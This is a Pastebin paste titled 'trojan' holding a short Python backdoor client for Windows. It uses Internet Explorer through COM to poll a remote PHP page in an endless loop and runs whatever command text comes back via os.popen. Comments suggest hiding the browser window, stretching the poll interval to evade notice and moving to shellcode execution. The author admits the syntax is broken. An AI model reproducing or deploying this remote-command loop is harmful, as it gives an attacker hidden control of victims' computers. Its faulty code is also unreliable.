Advertisement
infodox

trojan

Dec 23rd, 2011
468
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 0.76 KB | None | 0 0
  1. # Syntax is off ill fix it later
  2.  
  3. from time import sleep
  4. import win32com.client
  5. import os
  6. ie = win32com.client.Dispatch("InternetExplorer.Application")
  7.  
  8. def download_url_with_ie(url):
  9.     ie.Visible = 1 # make this 0, if you want to hide IE window
  10.     ie.Navigate(url)
  11.     if ie.Busy:
  12.         sleep(5)
  13. text = ie.Document.body.innerHTML #all this stripping shit is onl for when it actually uses php
  14. text = unicode(text)
  15. text = text.encode('ascii','ignore')
  16. return text
  17. # ie.Quit()
  18. # print text
  19.  
  20. while 1:
  21.     data=download_url_with_ie('https://www.offensivesecurity.com/trojan/client.php')
  22.     print data # only for debugging
  23.     os.popen(data) #instead, a simple C loop to execute shellcode
  24.     sleep(30) # Make this sleep RANDOMTIME BETWEEN 30-60 MINS
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement